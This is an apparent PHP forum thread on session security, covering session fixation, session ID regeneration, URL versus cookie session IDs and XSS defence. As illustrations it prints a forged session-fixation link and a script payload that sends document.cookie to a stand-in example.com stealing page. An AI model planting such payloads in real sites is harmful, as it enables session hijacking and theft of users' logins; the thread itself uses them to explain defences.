yeah sure its:
php | architects’s
ZEND PHP 5 Certification Study Guide
ISBN 0-9738621-4-9
it costs about $32.99.
HTH
No. If you open two tabs in nearly the same time frame, they will both send the same cookies.
It’s unnecessary. The point of session fixation is to force the victim to use a session on which he is not authenticated and have him log in. It’s only after the user has logged in that the session is of any value. So it’s on this transition from useless (logged out) to useful (logged in) that you need to regenerate the session ID.
It is not unnecessary.
If you allow session id’s through the url, then you risk session hi-jacking.
The unnecessary part was the regeneration of session-id on each page view. Not the use of cookies for propagating it.
Should you regenerate it on log out as well, or only necessary when the user gets a higher access level?
Also, I don’t think session ids through the URL is any more of a risk than through a cookie
and further reading…
http://www.sitepoint.com/blogs/2004/03/03/notes-on-php-session-security/
(read this pdf too)
I prefer to delete the session file on logout. Deleting the file invalidates the ID in the cookie and eliminates any possible access to the session data that may remain on the server after logout. This is important because session files are typically stored in the /tmp directory, where other users on the same host may see them. Also consider deleting the cookie by giving it an expiration date that has already passed.
The articles previously cited in this thread clearly show that they are more risky.
Hey, I’m in the middle of writing a personal cms for my own site which will offer user accounts for commenting on articles. The app is written using mvc methodology (i hate the word pattern here). Both the system, and the separate modules, register all expected GET and POST variables into a table by name and some filtering constant values. My controller runs some processor chains to filter and sanitize the GPC params and the values are cached into singltons. The GPC vars are then unset completely, so that no rogue values exist. One of these flags tells the processor to strip html, php and scripts.
How does the topic of this thread impact me?
I don’t see how though. Both cookies and query string are sent with each request, the information is easily extracted from either by anyone intercepting a request.
Supporting URL Session IDs is easier to exploit. An attacker could redirect a user from there site to yours with a forged session id. Or in some cases not all, the Session ID can be included in an HTTP Referer.
<a href="yoursite.com/index.php?PHPSESSID=1234">
I find the best solution to be:
- Not allow URL Session IDs
- Regenerate SID on every authentication and altering of the users permission table
- Delete the session compleatly on logout
- Validate IP-address, User-Agent and an internal timestamp
- Wash all output for XSS
It’s still possible to get trough this, but the attacker must be sitting on the same IP-adress as the victim, and pretty much on the victims computer. Unless anyone can point out a weakness here?
This is very interesting topic. By all means, I’m not a expert domain in this. Still, if I were to do this then I would make it very simple
- Just create secret “cookie” value w/ unique secret cookie key w/ secret cookie value(optionally as URI)
For example, their is a cookie name “aa9343012” with the value “divvn3093023-332q”
Now the hackers have to guess the session id along w/ secret cookie key + cookie value. Also, let say user A “somehow” knows session id for user “B” and trying to hijack. If user A sends a http request w/ user B’s session id and “wrong” secret key. Now the server knows their is some http request trying to hijack a session id. So, next time user B receives a http response from the server will receive a “new” secret key + value. Also, I “think” this will be a lot faster than regenerating session id each time. I guess this solution is to not hinder performance as much yet provide “adequate” security.
Of course this isn’t perfect but I’d say the chance of hijacking this solution is probably 0.0000000000001% (I may have added too many 0’s for exageration). I’m sure it can happen but no security is 100% perfect.
The simple session fixation attack via query string works because the attacker can make up any session ID and put it in a link. An unsuspecting user then clicks the link and gets the fake session ID. If your site accepts session IDs in query strings, then the attacker has access to the victim’s session because he knows the fake ID.
A cross-site scripting attack against a session cookie requires that the attacker somehow place JavaScript on your site that can overwrite the ID in the cookie. Since you control what scripts are used in your pages and where those scripts are hosted (on your own server or linked in from another domain), it would be a lot more difficult to perpetrate the attack.
Don’t bother validating the IP address. It’s irrelevant. I’ve worked on projects where validating the IP address was not an option because many of the users were extremely privacy-conscious and used surfing proxy applications such as Tor, which switch proxies periodicially. Besides, if we could rely on the user’s IP to stay the same, no session ID would be needed in the first place - we could simply use the IP address as a unique identifier for that user. In fact, when I was a PHP n00b, I created a site that used IPs as identifiers. There were endless problems with correctly identifying the user from one page view to the next.
Some normal ISPs switch IPs (namely AOL, RoadRunner maybe, and a few others, or at least they used to) during a session.
-
Not allow URL Session IDs
How do you specifically not allow session IDs in URLS? -
Regenerate SID on every authentication and altering of the users permission table
You mean regenerate the ID on every page load? How does that do anything? -
Validate IP-address, User-Agent and an internal timestamp
IP address changes, not reliable. However user-agent is a good idea. What do you mean you validate a timestamp? Can you elaborate on that? -
Wash all output for XSS
What is XSS? I’ve been reading up on Wikipedia but I’m not quite understanding it enough to protect our sites from it. Perhaps someone has a better resource available?
This is an excellent thread by the way, I’m going to go through and do a serious overhaul to our security system.
-
For PHP’s sessions, there are configuration directives to disable it. I think crmcan’tspellhisname posted it somewhere in this thread already.
-
S/he means that the session ID changes when the user’s authentication level changes or the user’s information changes. This way, even if a malicious user has fixated a session for the user, all new session data will be in a different session.
-
XSS is when someone puts code onto your website that does something that you don’t want it to do. For example, if you provided users with a form to enter some profile information, and you did not HTML-encode it, the user could just write JavaScript code into your page.
<script>window.location='http://example.com/im/stealing/your/cookiez.php?cookie='+document.cookie</script>
To combat it, escape everything that gets outputted. If it gets printed to the browser anywhere, you need to htmlspecialchars() it. Basically, you need to make all special characters that have meaning (<, >, &, etc.) unspecial (<, >, &, etc. respectively).
I agree, but assuming you have put methods in place to prevent session fixation, like those mentioned, I don’t think URL based sessions are inherently any less secure than cookie based ones.
- Validate IP-address, User-Agent and an internal timestamp
IP address changes, not reliable. However user-agent is a good idea. What do you mean you validate a timestamp? Can you elaborate on that?
The discussion around the ip-address propably should stay a per project discussion. It has worked flawless in many projects for me. The user-agent is just to use whatever possible to validate the user. If you don’t want to use the ip, the user-agent is kind of a replacement, but it’s easy for an attacker to change his headers to match the victim(and that why the ip(if we take it for grated that it don’t change and is unique) is the only reliable validation). With a timestamp i mean that you save “now” and validates on the next request “is (saved time + some buffer time) smaller than now”. If so, the user has been inactive for more than “buffer time”, and it’s time to log in again. Say the user is on an inet cafe, and forgets to log out/close the browser(or the browser has some wierd settings that keeps sessions), and another customer uses the computer half and hour late. He would then have access to the page.
I agree, but assuming you have put methods in place to prevent session fixation, like those mentioned, I don’t think URL based sessions are inherently any less secure than cookie based ones.
Your propably right, and in some cases the URL based would be even more secure. The reason I (allmost) never use URL based sessions is the hassle of appending another get variable to each url on the page.
All in all you can come far with php in preventing session hijacking, but it’s http that is vulnerable, not php. You can never prevent mitm/session hijacking compleatly, just make it harder, without ssl.